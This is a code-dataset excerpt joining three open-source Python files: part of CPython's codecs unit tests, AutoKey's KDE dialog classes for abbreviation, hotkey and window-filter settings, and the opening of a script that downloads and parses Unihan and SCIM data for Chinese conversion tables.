"mac_greek", "mac_iceland", "mac_latin2", "mac_roman", "mac_turkish", "palmos", "ptcp154", "punycode", "raw_unicode_escape", "shift_jis", "shift_jis_2004", "shift_jisx0213", "tis_620", "unicode_escape", "unicode_internal", "utf_16", "utf_16_be", "utf_16_le", "utf_7", "utf_8", ] if hasattr(codecs, "mbcs_encode"): all_unicode_encodings.append("mbcs") # The following encoding is not tested, because it's not supposed # to work: # "undefined" # The following encodings don't work in stateful mode broken_unicode_with_streams = [ "punycode", "unicode_internal" ] broken_incremental_coders = broken_unicode_with_streams + [ "idna", ] class BasicUnicodeTest(unittest.TestCase, MixInCheckStateHandling): def test_basics(self): s = "abc123" # all codecs should be able to encode these for encoding in all_unicode_encodings: name = codecs.lookup(encoding).name if encoding.endswith("_codec"): name += "_codec" elif encoding == "latin_1": name = "latin_1" self.assertEqual(encoding.replace("_", "-"), name.replace("_", "-")) (b, size) = codecs.getencoder(encoding)(s) self.assertEqual(size, len(s), "%r != %r (encoding=%r)" % (size, len(s), encoding)) (chars, size) = codecs.getdecoder(encoding)(b) self.assertEqual(chars, s, "%r != %r (encoding=%r)" % (chars, s, encoding)) if encoding not in broken_unicode_with_streams: # check stream reader/writer q = Queue(b"") writer = codecs.getwriter(encoding)(q) encodedresult = b"" for c in s: writer.write(c) chunk = q.read() self.assertTrue(type(chunk) is bytes, type(chunk)) encodedresult += chunk q = Queue(b"") reader = codecs.getreader(encoding)(q) decodedresult = "" for c in encodedresult: q.write(bytes([c])) decodedresult += reader.read() self.assertEqual(decodedresult, s, "%r != %r (encoding=%r)" % (decodedresult, s, encoding)) if encoding not in broken_incremental_coders: # check incremental decoder/encoder (fetched via the Python # and C API) and iterencode()/iterdecode() try: encoder = codecs.getincrementalencoder(encoding)() cencoder = _testcapi.codec_incrementalencoder(encoding) except LookupError: # no IncrementalEncoder pass else: # check incremental decoder/encoder encodedresult = b"" for c in s: encodedresult += encoder.encode(c) encodedresult += encoder.encode("", True) decoder = codecs.getincrementaldecoder(encoding)() decodedresult = "" for c in encodedresult: decodedresult += decoder.decode(bytes([c])) decodedresult += decoder.decode(b"", True) self.assertEqual(decodedresult, s, "%r != %r (encoding=%r)" % (decodedresult, s, encoding)) # check C API encodedresult = b"" for c in s: encodedresult += cencoder.encode(c) encodedresult += cencoder.encode("", True) cdecoder = _testcapi.codec_incrementaldecoder(encoding) decodedresult = "" for c in encodedresult: decodedresult += cdecoder.decode(bytes([c])) decodedresult += cdecoder.decode(b"", True) self.assertEqual(decodedresult, s, "%r != %r (encoding=%r)" % (decodedresult, s, encoding)) # check iterencode()/iterdecode() result = "".join(codecs.iterdecode(codecs.iterencode(s, encoding), encoding)) self.assertEqual(result, s, "%r != %r (encoding=%r)" % (result, s, encoding)) # check iterencode()/iterdecode() with empty string result = "".join(codecs.iterdecode(codecs.iterencode("", encoding), encoding)) self.assertEqual(result, "") if encoding not in ("idna", "mbcs"): # check incremental decoder/encoder with errors argument try: encoder = codecs.getincrementalencoder(encoding)("ignore") cencoder = _testcapi.codec_incrementalencoder(encoding, "ignore") except LookupError: # no IncrementalEncoder pass else: encodedresult = b"".join(encoder.encode(c) for c in s) decoder = codecs.getincrementaldecoder(encoding)("ignore") decodedresult = "".join(decoder.decode(bytes([c])) for c in encodedresult) self.assertEqual(decodedresult, s, "%r != %r (encoding=%r)" % (decodedresult, s, encoding)) encodedresult = b"".join(cencoder.encode(c) for c in s) cdecoder = _testcapi.codec_incrementaldecoder(encoding, "ignore") decodedresult = "".join(cdecoder.decode(bytes([c])) for c in encodedresult) self.assertEqual(decodedresult, s, "%r != %r (encoding=%r)" % (decodedresult, s, encoding)) def test_seek(self): # all codecs should be able to encode these s = "%s\n%s\n" % (100*"abc123", 100*"def456") for encoding in all_unicode_encodings: if encoding == "idna": # FIXME: See SF bug #1163178 continue if encoding in broken_unicode_with_streams: continue reader = codecs.getreader(encoding)(io.BytesIO(s.encode(encoding))) for t in range(5): # Test that calling seek resets the internal codec state and buffers reader.seek(0, 0) data = reader.read() self.assertEqual(s, data) def test_bad_decode_args(self): for encoding in all_unicode_encodings: decoder = codecs.getdecoder(encoding) self.assertRaises(TypeError, decoder) if encoding not in ("idna", "punycode"): self.assertRaises(TypeError, decoder, 42) def test_bad_encode_args(self): for encoding in all_unicode_encodings: encoder = codecs.getencoder(encoding) self.assertRaises(TypeError, encoder) def test_encoding_map_type_initialized(self): from encodings import cp1140 # This used to crash, we are only verifying there's no crash. table_type = type(cp1140.encoding_table) self.assertEqual(table_type, table_type) def test_decoder_state(self): # Check that getstate() and setstate() handle the state properly u = "abc123" for encoding in all_unicode_encodings: if encoding not in broken_incremental_coders: self.check_state_handling_decode(encoding, u, u.encode(encoding)) self.check_state_handling_encode(encoding, u, u.encode(encoding)) class CharmapTest(unittest.TestCase): def test_decode_with_string_map(self): self.assertEqual( codecs.charmap_decode(b"\x00\x01\x02", "strict", "abc"), ("abc", 3) ) self.assertEqual( codecs.charmap_decode(b"\x00\x01\x02", "replace", "ab"), ("ab\ufffd", 3) ) self.assertEqual( codecs.charmap_decode(b"\x00\x01\x02", "replace", "ab\ufffe"), ("ab\ufffd", 3) ) self.assertEqual( codecs.charmap_decode(b"\x00\x01\x02", "ignore", "ab"), ("ab", 3) ) self.assertEqual( codecs.charmap_decode(b"\x00\x01\x02", "ignore", "ab\ufffe"), ("ab", 3) ) allbytes = bytes(range(256)) self.assertEqual( codecs.charmap_decode(allbytes, "ignore", ""), ("", len(allbytes)) ) class WithStmtTest(unittest.TestCase): def test_encodedfile(self): f = io.BytesIO(b"\xc3\xbc") with codecs.EncodedFile(f, "latin-1", "utf-8") as ef: self.assertEqual(ef.read(), b"\xfc") def test_streamreaderwriter(self): f = io.BytesIO(b"\xc3\xbc") info = codecs.lookup("utf-8") with codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, 'strict') as srw: self.assertEqual(srw.read(), "\xfc") class TypesTest(unittest.TestCase): def test_decode_unicode(self): # Most decoders don't accept unicode input decoders = [ codecs.utf_7_decode, codecs.utf_8_decode, codecs.utf_16_le_decode, codecs.utf_16_be_decode, codecs.utf_16_ex_decode, codecs.utf_32_decode, codecs.utf_32_le_decode, codecs.utf_32_be_decode, codecs.utf_32_ex_decode, codecs.latin_1_decode, codecs.ascii_decode, codecs.charmap_decode, ] if hasattr(codecs, "mbcs_decode"): decoders.append(codecs.mbcs_decode) for decoder in decoders: self.assertRaises(TypeError, decoder, "xxx") def test_unicode_escape(self): # Escape-decoding an unicode string is supported ang gives the same # result as decoding the equivalent ASCII bytes string. self.assertEqual(codecs.unicode_escape_decode(r"\u1234"), ("\u1234", 6)) self.assertEqual(codecs.unicode_escape_decode(br"\u1234"), ("\u1234", 6)) self.assertEqual(codecs.raw_unicode_escape_decode(r"\u1234"), ("\u1234", 6)) self.assertEqual(codecs.raw_unicode_escape_decode(br"\u1234"), ("\u1234", 6)) class SurrogateEscapeTest(unittest.TestCase): def test_utf8(self): # Bad byte self.assertEqual(b"foo\x80bar".decode("utf-8", "surrogateescape"), "foo\udc80bar") self.assertEqual("foo\udc80bar".encode("utf-8", "surrogateescape"), b"foo\x80bar") # bad-utf-8 encoded surrogate self.assertEqual(b"\xed\xb0\x80".decode("utf-8", "surrogateescape"), "\udced\udcb0\udc80") self.assertEqual("\udced\udcb0\udc80".encode("utf-8", "surrogateescape"), b"\xed\xb0\x80") def test_ascii(self): # bad byte self.assertEqual(b"foo\x80bar".decode("ascii", "surrogateescape"), "foo\udc80bar") self.assertEqual("foo\udc80bar".encode("ascii", "surrogateescape"), b"foo\x80bar") def test_charmap(self): # bad byte: \xa5 is unmapped in iso-8859-3 self.assertEqual(b"foo\xa5bar".decode("iso-8859-3", "surrogateescape"), "foo\udca5bar") self.assertEqual("foo\udca5bar".encode("iso-8859-3", "surrogateescape"), b"foo\xa5bar") def test_latin1(self): # Issue6373 self.assertEqual("\udce4\udceb\udcef\udcf6\udcfc".encode("latin1", "surrogateescape"), b"\xe4\xeb\xef\xf6\xfc") class BomTest(unittest.TestCase): def test_seek0(self): data = "1234567890" tests = ("utf-16", "utf-16-le", "utf-16-be", "utf-32", "utf-32-le", "utf-32-be") self.addCleanup(support.unlink, support.TESTFN) for encoding in tests: # Check if the BOM is written only once with codecs.open(support.TESTFN, 'w+', encoding=encoding) as f: f.write(data) f.write(data) f.seek(0) self.assertEqual(f.read(), data * 2) f.seek(0) self.assertEqual(f.read(), data * 2) # Check that the BOM is written after a seek(0) with codecs.open(support.TESTFN, 'w+', encoding=encoding) as f: f.write(data[0]) self.assertNotEqual(f.tell(), 0) f.seek(0) f.write(data) f.seek(0) self.assertEqual(f.read(), data) # (StreamWriter) Check that the BOM is written after a seek(0) with codecs.open(support.TESTFN, 'w+', encoding=encoding) as f: f.writer.write(data[0]) self.assertNotEqual(f.writer.tell(), 0) f.writer.seek(0) f.writer.write(data) f.seek(0) self.assertEqual(f.read(), data) # Check that the BOM is not written after a seek() at a position # different than the start with codecs.open(support.TESTFN, 'w+', encoding=encoding) as f: f.write(data) f.seek(f.tell()) f.write(data) f.seek(0) self.assertEqual(f.read(), data * 2) # (StreamWriter) Check that the BOM is not written after a seek() # at a position different than the start with codecs.open(support.TESTFN, 'w+', encoding=encoding) as f: f.writer.write(data) f.writer.seek(f.writer.tell()) f.writer.write(data) f.seek(0) self.assertEqual(f.read(), data * 2) bytes_transform_encodings = [ "base64_codec", "uu_codec", "quopri_codec", "hex_codec", ] try: import zlib except ImportError: pass else: bytes_transform_encodings.append("zlib_codec") try: import bz2 except ImportError: pass else: bytes_transform_encodings.append("bz2_codec") class TransformCodecTest(unittest.TestCase): def test_basics(self): binput = bytes(range(256)) for encoding in bytes_transform_encodings: # generic codecs interface (o, size) = codecs.getencoder(encoding)(binput) self.assertEqual(size, len(binput)) (i, size) = codecs.getdecoder(encoding)(o) self.assertEqual(size, len(o)) self.assertEqual(i, binput) def test_read(self): for encoding in bytes_transform_encodings: sin = codecs.encode(b"\x80", encoding) reader = codecs.getreader(encoding)(io.BytesIO(sin)) sout = reader.read() self.assertEqual(sout, b"\x80") def test_readline(self): for encoding in bytes_transform_encodings: if encoding in ['uu_codec', 'zlib_codec']: continue sin = codecs.encode(b"\x80", encoding) reader = codecs.getreader(encoding)(io.BytesIO(sin)) sout = reader.readline() self.assertEqual(sout, b"\x80") def test_main(): support.run_unittest( UTF32Test, UTF32LETest, UTF32BETest, UTF16Test, UTF16LETest, UTF16BETest, UTF8Test, UTF8SigTest, UTF7Test, UTF16ExTest, ReadBufferTest, RecodingTest, PunycodeTest, UnicodeInternalTest, NameprepTest, IDNACodecTest, CodecsModuleTest, StreamReaderTest, EncodedFileTest, BasicUnicodeTest, CharmapTest, WithStmtTest, TypesTest, SurrogateEscapeTest, BomTest, TransformCodecTest, ) if __name__ == "__main__": test_main()
837468220/python-for-android
python3-alpha/python3-src/Lib/test/test_codecs.py
Python
apache-2.0
64,172
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) 2011 Chris Dekter # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import logging, sys, os, re #from PyKDE4.kdeui import KApplication, KXmlGuiWindow, KStandardAction, KIcon, KTextEdit, KAction, KStandardShortcut from PyKDE4.kdeui import * from PyKDE4.kdecore import i18n from PyQt4.QtGui import * from PyQt4.QtCore import SIGNAL, Qt, QRegExp __all__ = ["validate", "EMPTY_FIELD_REGEX", "AbbrSettingsDialog", "HotkeySettingsDialog", "WindowFilterSettingsDialog", "RecordDialog"] import abbrsettings, hotkeysettings, windowfiltersettings, recorddialog, detectdialog from autokey import model, iomediator WORD_CHAR_OPTIONS = { "All non-word" : model.DEFAULT_WORDCHAR_REGEX, "Space and Enter" : r"[^ \n]", "Tab" : r"[^\t]" } WORD_CHAR_OPTIONS_ORDERED = ["All non-word", "Space and Enter", "Tab"] EMPTY_FIELD_REGEX = re.compile(r"^ *$", re.UNICODE) def validate(expression, message, widget, parent): if not expression: KMessageBox.error(parent, message) if widget is not None: widget.setFocus() return expression class AbbrListItem(QListWidgetItem): def __init__(self, text): QListWidgetItem.__init__(self, text) self.setFlags(self.flags() | Qt.ItemFlags(Qt.ItemIsEditable)) def setData(self, role, value): if value.toString() == "": self.listWidget().itemChanged.emit(self) else: QListWidgetItem.setData(self, role, value) class AbbrSettings(QWidget, abbrsettings.Ui_Form): def __init__(self, parent): QWidget.__init__(self, parent) abbrsettings.Ui_Form.__init__(self) self.setupUi(self) for item in WORD_CHAR_OPTIONS_ORDERED: self.wordCharCombo.addItem(item) self.addButton.setIcon(KIcon("list-add")) self.removeButton.setIcon(KIcon("list-remove")) def on_addButton_pressed(self): item = AbbrListItem("") self.abbrListWidget.addItem(item) self.abbrListWidget.editItem(item) self.removeButton.setEnabled(True) def on_removeButton_pressed(self): item = self.abbrListWidget.takeItem(self.abbrListWidget.currentRow()) if self.abbrListWidget.count() == 0: self.removeButton.setEnabled(False) def on_abbrListWidget_itemChanged(self, item): if EMPTY_FIELD_REGEX.match(item.text()): row = self.abbrListWidget.row(item) self.abbrListWidget.takeItem(row) del item if self.abbrListWidget.count() == 0: self.removeButton.setEnabled(False) def on_abbrListWidget_itemDoubleClicked(self, item): self.abbrListWidget.editItem(item) def on_ignoreCaseCheckbox_stateChanged(self, state): if not self.ignoreCaseCheckbox.isChecked(): self.matchCaseCheckbox.setChecked(False) def on_matchCaseCheckbox_stateChanged(self, state): if self.matchCaseCheckbox.isChecked(): self.ignoreCaseCheckbox.setChecked(True) def on_immediateCheckbox_stateChanged(self, state): if self.immediateCheckbox.isChecked(): self.omitTriggerCheckbox.setChecked(False) self.omitTriggerCheckbox.setEnabled(False) self.wordCharCombo.setEnabled(False) else: self.omitTriggerCheckbox.setEnabled(True) self.wordCharCombo.setEnabled(True) class AbbrSettingsDialog(KDialog): def __init__(self, parent): KDialog.__init__(self, parent) self.widget = AbbrSettings(self) self.setMainWidget(self.widget) self.setButtons(KDialog.ButtonCodes(KDialog.ButtonCode(KDialog.Ok | KDialog.Cancel))) self.setPlainCaption(i18n("Set Abbreviations")) self.setModal(True) #self.connect(self, SIGNAL("okClicked()"), self.on_okClicked) def load(self, item): self.targetItem = item self.widget.abbrListWidget.clear() if model.TriggerMode.ABBREVIATION in item.modes: for abbr in item.abbreviations: self.widget.abbrListWidget.addItem(AbbrListItem(abbr)) self.widget.removeButton.setEnabled(True) self.widget.abbrListWidget.setCurrentRow(0) else: self.widget.removeButton.setEnabled(False) self.widget.removeTypedCheckbox.setChecked(item.backspace) self.__resetWordCharCombo() wordCharRegex = item.get_word_chars() if wordCharRegex in WORD_CHAR_OPTIONS.values(): # Default wordchar regex used for desc, regex in WORD_CHAR_OPTIONS.iteritems(): if item.get_word_chars() == regex: self.widget.wordCharCombo.setCurrentIndex(WORD_CHAR_OPTIONS_ORDERED.index(desc)) break else: # Custom wordchar regex used self.widget.wordCharCombo.addItem(model.extract_wordchars(wordCharRegex)) self.widget.wordCharCombo.setCurrentIndex(len(WORD_CHAR_OPTIONS)) if isinstance(item, model.Folder): self.widget.omitTriggerCheckbox.setVisible(False) else: self.widget.omitTriggerCheckbox.setVisible(True) self.widget.omitTriggerCheckbox.setChecked(item.omitTrigger) if isinstance(item, model.Phrase): self.widget.matchCaseCheckbox.setVisible(True) self.widget.matchCaseCheckbox.setChecked(item.matchCase) else: self.widget.matchCaseCheckbox.setVisible(False) self.widget.ignoreCaseCheckbox.setChecked(item.ignoreCase) self.widget.triggerInsideCheckbox.setChecked(item.triggerInside) self.widget.immediateCheckbox.setChecked(item.immediate) def save(self, item): item.modes.append(model.TriggerMode.ABBREVIATION) item.clear_abbreviations() item.abbreviations = self.get_abbrs() item.backspace = self.widget.removeTypedCheckbox.isChecked() option = unicode(self.widget.wordCharCombo.currentText()) if option in WORD_CHAR_OPTIONS: item.set_word_chars(WORD_CHAR_OPTIONS[option]) else: item.set_word_chars(model.make_wordchar_re(option)) if not isinstance(item, model.Folder): item.omitTrigger = self.widget.omitTriggerCheckbox.isChecked() if isinstance(item, model.Phrase): item.matchCase = self.widget.matchCaseCheckbox.isChecked() item.ignoreCase = self.widget.ignoreCaseCheckbox.isChecked() item.triggerInside = self.widget.triggerInsideCheckbox.isChecked() item.immediate = self.widget.immediateCheckbox.isChecked() def reset(self): self.widget.removeButton.setEnabled(False) self.widget.abbrListWidget.clear() self.__resetWordCharCombo() self.widget.omitTriggerCheckbox.setChecked(False) self.widget.removeTypedCheckbox.setChecked(True) self.widget.matchCaseCheckbox.setChecked(False) self.widget.ignoreCaseCheckbox.setChecked(False) self.widget.triggerInsideCheckbox.setChecked(False) self.widget.immediateCheckbox.setChecked(False) def __resetWordCharCombo(self): self.widget.wordCharCombo.clear() for item in WORD_CHAR_OPTIONS_ORDERED: self.widget.wordCharCombo.addItem(item) self.widget.wordCharCombo.setCurrentIndex(0) def get_abbrs(self): ret = [] for i in range(self.widget.abbrListWidget.count()): text = self.widget.abbrListWidget.item(i).text() ret.append(unicode(text)) return ret def get_abbrs_readable(self): abbrs = self.get_abbrs() if len(abbrs) == 1: return abbrs[0] else: return "[%s]" % ','.join(abbrs) def reset_focus(self): self.widget.addButton.setFocus() def __valid(self): if not validate(len(self.get_abbrs()) > 0, i18n("You must specify at least one abbreviation"), self.widget.addButton, self): return False return True def slotButtonClicked(self, button): if button == KDialog.Ok: if self.__valid(): KDialog.slotButtonClicked(self, button) else: self.load(self.targetItem) KDialog.slotButtonClicked(self, button) class HotkeySettings(QWidget, hotkeysettings.Ui_Form): def __init__(self, parent): QWidget.__init__(self, parent) hotkeysettings.Ui_Form.__init__(self) self.setupUi(self) # ---- Signal handlers def on_setButton_pressed(self): self.setButton.setEnabled(False) self.keyLabel.setText(i18n("Press a key or combination...")) self.grabber = iomediator.KeyGrabber(self.parentWidget()) self.grabber.start() class HotkeySettingsDialog(KDialog): KEY_MAP = { ' ' : "<space>", } REVERSE_KEY_MAP = {} for key, value in KEY_MAP.iteritems(): REVERSE_KEY_MAP[value] = key def __init__(self, parent): KDialog.__init__(self, parent) self.widget = HotkeySettings(self) self.setMainWidget(self.widget) self.setButtons(KDialog.ButtonCodes(KDialog.ButtonCode(KDialog.Ok | KDialog.Cancel))) self.setPlainCaption(i18n("Set Hotkey")) self.setModal(True) self.key = None def load(self, item): self.targetItem = item self.widget.setButton.setEnabled(True) if model.TriggerMode.HOTKEY in item.modes: self.widget.controlButton.setChecked(iomediator.Key.CONTROL in item.modifiers) self.widget.altButton.setChecked(iomediator.Key.ALT in item.modifiers) self.widget.shiftButton.setChecked(iomediator.Key.SHIFT in item.modifiers) self.widget.superButton.setChecked(iomediator.Key.SUPER in item.modifiers) self.widget.hyperButton.setChecked(iomediator.Key.HYPER in item.modifiers) self.widget.metaButton.setChecked(iomediator.Key.META in item.modifiers) key = item.hotKey if key in self.KEY_MAP: keyText = self.KEY_MAP[key] else: keyText = key self._setKeyLabel(keyText) self.key = keyText else: self.reset() def save(self, item): item.modes.append(model.TriggerMode.HOTKEY) # Build modifier list modifiers = self.build_modifiers() keyText = self.key if keyText in self.REVERSE_KEY_MAP: key = self.REVERSE_KEY_MAP[keyText] else: key = keyText assert key != None, "Attempt to set hotkey with no key" item.set_hotkey(modifiers, key) def reset(self): self.widget.controlButton.setChecked(False) self.widget.altButton.setChecked(False) self.widget.shiftButton.setChecked(False) self.widget.superButton.setChecked(False) self.widget.hyperButton.setChecked(False) self.widget.metaButton.setChecked(False) self._setKeyLabel(i18n("(None)")) self.key = None self.widget.setButton.setEnabled(True) def set_key(self, key, modifiers=[]): if self.KEY_MAP.has_key(key): key = self.KEY_MAP[key] self._setKeyLabel(key) self.key = key self.widget.controlButton.setChecked(iomediator.Key.CONTROL in modifiers) self.widget.altButton.setChecked(iomediator.Key.ALT in modifiers) self.widget.shiftButton.setChecked(iomediator.Key.SHIFT in modifiers) self.widget.superButton.setChecked(iomediator.Key.SUPER in modifiers) self.widget.hyperButton.setChecked(iomediator.Key.HYPER in modifiers) self.widget.metaButton.setChecked(iomediator.Key.META in modifiers) self.widget.setButton.setEnabled(True) def cancel_grab(self): self.widget.setButton.setEnabled(True) self._setKeyLabel(self.key) def build_modifiers(self): modifiers = [] if self.widget.controlButton.isChecked(): modifiers.append(iomediator.Key.CONTROL) if self.widget.altButton.isChecked(): modifiers.append(iomediator.Key.ALT) if self.widget.shiftButton.isChecked(): modifiers.append(iomediator.Key.SHIFT) if self.widget.superButton.isChecked(): modifiers.append(iomediator.Key.SUPER) if self.widget.hyperButton.isChecked(): modifiers.append(iomediator.Key.HYPER) if self.widget.metaButton.isChecked(): modifiers.append(iomediator.Key.META) modifiers.sort() return modifiers def slotButtonClicked(self, button): if button == KDialog.Ok: if self.__valid(): KDialog.slotButtonClicked(self, button) else: self.load(self.targetItem) KDialog.slotButtonClicked(self, button) def _setKeyLabel(self, key): self.widget.keyLabel.setText(i18n("Key: ") + key) def __valid(self): if not validate(self.key is not None, i18n("You must specify a key for the hotkey."), None, self): return False return True class GlobalHotkeyDialog(HotkeySettingsDialog): def load(self, item): self.targetItem = item if item.enabled: self.widget.controlButton.setChecked(iomediator.Key.CONTROL in item.modifiers) self.widget.altButton.setChecked(iomediator.Key.ALT in item.modifiers) self.widget.shiftButton.setChecked(iomediator.Key.SHIFT in item.modifiers) self.widget.superButton.setChecked(iomediator.Key.SUPER in item.modifiers) self.widget.hyperButton.setChecked(iomediator.Key.HYPER in item.modifiers) self.widget.metaButton.setChecked(iomediator.Key.META in item.modifiers) key = item.hotKey if key in self.KEY_MAP: keyText = self.KEY_MAP[key] else: keyText = key self._setKeyLabel(keyText) self.key = keyText else: self.reset() def save(self, item): # Build modifier list modifiers = self.build_modifiers() keyText = self.key if keyText in self.REVERSE_KEY_MAP: key = self.REVERSE_KEY_MAP[keyText] else: key = keyText assert key != None, "Attempt to set hotkey with no key" item.set_hotkey(modifiers, key) class WindowFilterSettings(QWidget, windowfiltersettings.Ui_Form): def __init__(self, parent): QWidget.__init__(self, parent) windowfiltersettings.Ui_Form.__init__(self) self.setupUi(self) m = QFontMetrics(QApplication.font()) self.triggerRegexLineEdit.setMinimumWidth(m.width("windowclass.WindowClass")) # ---- Signal handlers def on_detectButton_pressed(self): self.detectButton.setEnabled(False) self.grabber = iomediator.WindowGrabber(self.parentWidget()) self.grabber.start() class WindowFilterSettingsDialog(KDialog): def __init__(self, parent): KDialog.__init__(self, parent) self.widget = WindowFilterSettings(self) self.setMainWidget(self.widget) self.setButtons(KDialog.ButtonCodes(KDialog.ButtonCode(KDialog.Ok | KDialog.Cancel))) self.setPlainCaption(i18n("Set Window Filter")) self.setModal(True) def load(self, item): self.targetItem = item if not isinstance(item, model.Folder): self.widget.recursiveCheckBox.hide() else: self.widget.recursiveCheckBox.show() if not item.has_filter(): self.reset() else: self.widget.triggerRegexLineEdit.setText(item.get_filter_regex()) self.widget.recursiveCheckBox.setChecked(item.isRecursive) def save(self, item): item.set_window_titles(self.get_filter_text()) item.set_filter_recursive(self.get_is_recursive()) def get_is_recursive(self): return self.widget.recursiveCheckBox.isChecked() def reset(self): self.widget.triggerRegexLineEdit.setText("") self.widget.recursiveCheckBox.setChecked(False) def reset_focus(self): self.widget.triggerRegexLineEdit.setFocus() def get_filter_text(self): return unicode(self.widget.triggerRegexLineEdit.text()) def receive_window_info(self, info): self.parentWidget().topLevelWidget().app.exec_in_main(self.__receiveWindowInfo, info) def __receiveWindowInfo(self, info): dlg = DetectDialog(self) dlg.populate(info) dlg.exec_() if dlg.result() == QDialog.Accepted: self.widget.triggerRegexLineEdit.setText(dlg.get_choice()) self.widget.detectButton.setEnabled(True) # --- event handlers --- def slotButtonClicked(self, button): if button == KDialog.Cancel: self.load(self.targetItem) KDialog.slotButtonClicked(self, button) class DetectSettings(QWidget, detectdialog.Ui_Form): def __init__(self, parent): QWidget.__init__(self, parent) detectdialog.Ui_Form.__init__(self) self.setupUi(self) self.kbuttongroup.setSelected(0) class DetectDialog(KDialog): def __init__(self, parent): KDialog.__init__(self, parent) self.widget = DetectSettings(self) self.setMainWidget(self.widget) self.setButtons(KDialog.ButtonCodes(KDialog.ButtonCode(KDialog.Ok | KDialog.Cancel))) self.setPlainCaption(i18n("Window Information")) self.setModal(True) def populate(self, windowInfo): self.widget.titleLabel.setText(i18n("Window title: %1", windowInfo[0])) self.widget.classLabel.setText(i18n("Window class: %1", windowInfo[1])) self.windowInfo = windowInfo def get_choice(self): index = self.widget.kbuttongroup.selected() if index == 0: return self.windowInfo[1] else: return self.windowInfo[0] class RecordSettings(QWidget, recorddialog.Ui_Form): def __init__(self, parent): QWidget.__init__(self, parent) recorddialog.Ui_Form.__init__(self) self.setupUi(self) class RecordDialog(KDialog): def __init__(self, parent, closure): KDialog.__init__(self, parent) self.widget = RecordSettings(self) self.setMainWidget(self.widget) self.setButtons(KDialog.ButtonCodes(KDialog.ButtonCode(KDialog.Ok | KDialog.Cancel))) self.setPlainCaption(i18n("Record Script")) self.setModal(True) self.closure = closure def get_record_keyboard(self): return self.widget.recKeyboardButton.isChecked() def get_record_mouse(self): return self.widget.recMouseButton.isChecked() def get_delay(self): return self.widget.secondsSpinBox.value() def slotButtonClicked(self, button): if button == KDialog.Ok: KDialog.slotButtonClicked(self, button) self.closure(True, self.get_record_keyboard(), self.get_record_mouse(), self.get_delay()) else: self.closure(False, self.get_record_keyboard(), self.get_record_mouse(), self.get_delay()) KDialog.slotButtonClicked(self, button)
nuclearsandwich/autokey
src/lib/qtui/dialogs.py
Python
gpl-3.0
20,532
#!/usr/bin/python # -*- coding: utf-8 -*- # @author Philip import tarfile as tf import zipfile as zf import os, re, shutil, sys, platform pyversion = platform.python_version() islinux = platform.system().lower() == 'linux' if pyversion[:3] in ['2.6', '2.7']: import urllib as urllib_request import codecs open = codecs.open _unichr = unichr if sys.maxunicode < 0x10000: def unichr(i): if i < 0x10000: return _unichr(i) else: return _unichr( 0xD7C0 + ( i>>10 ) ) + _unichr( 0xDC00 + ( i & 0x3FF ) ) elif pyversion[:2] == '3.': import urllib.request as urllib_request unichr = chr def unichr2( *args ): return [unichr( int( i.split('<')[0][2:], 16 ) ) for i in args] def unichr3( *args ): return [unichr( int( i[2:7], 16 ) ) for i in args if i[2:7]] # DEFINE UNIHAN_VER = '5.2.0' SF_MIRROR = 'cdnetworks-kr-2' SCIM_TABLES_VER = '0.5.10' SCIM_PINYIN_VER = '0.5.91' LIBTABE_VER = '0.2.3' # END OF DEFINE def download( url, dest ): if os.path.isfile( dest ): print( 'File %s up to date.' % dest ) return global islinux if islinux: # we use wget instead urlretrieve under Linux, # because wget could display details like download progress os.system( 'wget %s -O %s' % ( url, dest ) ) else: print( 'Downloading from [%s] ...' % url ) urllib_request.urlretrieve( url, dest ) print( 'Download complete.\n' ) return def uncompress( fp, member, encoding = 'U8' ): name = member.rsplit( '/', 1 )[-1] print( 'Extracting %s ...' % name ) fp.extract( member ) shutil.move( member, name ) if '/' in member: shutil.rmtree( member.split( '/', 1 )[0] ) return open( name, 'rb', encoding, 'ignore' ) unzip = lambda path, member, encoding = 'U8': \ uncompress( zf.ZipFile( path ), member, encoding ) untargz = lambda path, member, encoding = 'U8': \ uncompress( tf.open( path, 'r:gz' ), member, encoding ) def parserCore( fp, pos, beginmark = None, endmark = None ): if beginmark and endmark: start = False else: start = True mlist = set() for line in fp: if beginmark and line.startswith( beginmark ): start = True continue elif endmark and line.startswith( endmark ): break if start and not line.startswith( '#' ): elems = line.split() if len( elems ) < 2: continue elif len( elems[0] ) > 1 and \ len( elems[pos] ) > 1: # words only mlist.add( elems[pos] ) return mlist def tablesParser( path, name ): """ Read file from scim-tables and parse it. """ global SCIM_TABLES_VER src = 'scim-tables-%s/tables/zh/%s' % ( SCIM_TABLES_VER, name ) fp = untargz( path, src, 'U8' ) return parserCore( fp, 1, 'BEGIN_TABLE', 'END_TABLE' ) ezbigParser = lambda path: tablesParser( path, 'EZ-Big.txt.in' ) wubiParser = lambda path: tablesParser( path, 'Wubi.txt.in' ) zrmParser = lambda path: tablesParser( path, 'Ziranma.txt.in' ) def phraseParser( path ): """ Read phrase_lib.txt and parse it. """ global SCIM_PINYIN_VER src = 'scim-pinyin-%s/data/phrase_lib.txt' % SCIM_PINYIN_VER dst = 'phrase_lib.txt' fp = untargz( path, src, 'U8' ) return parserCore( fp, 0 ) def tsiParser( path ): """ Read tsi.src and parse it. """ src = 'libtabe/tsi-src/tsi.src' dst = 'tsi.src' fp = untargz( path, src, 'big5hkscs' ) return parserCore( fp, 0 ) def unihanParser( path ): """ Read Unihan_Variants.txt and parse it. """ fp = unzip( path, 'Unihan_Variants.txt', 'U8' ) t2s = dict() s2t = dict() for line in fp: if line.startswith( '#' ): continue else: elems = line.split() if len( elems ) < 3: continue type = elems.pop( 1 ) elems = unichr2( *elems ) if type == 'kTraditionalVariant': s2t[elems[0]] = elems[1:] elif type == 'kSimplifiedVariant': t2s[elems[0]] = elems[1:] fp.close() return ( t2s, s2t ) def applyExcludes( mlist, path ): """ Apply exclude rules from path to mlist. """ excludes = open( path, 'rb', 'U8' ).read().split() excludes = [word.split( '#' )[0].strip() for word in excludes] excludes = '|'.join( excludes ) excptn = re.compile( '.*(?:%s).*' % excludes ) diff = [mword for mword in mlist if excptn.search( mword )] mlist.difference_update( diff ) return mlist def charManualTable( path ): fp = open( path, 'rb', 'U8' ) ret = {} for line in fp: elems = line.split( '#' 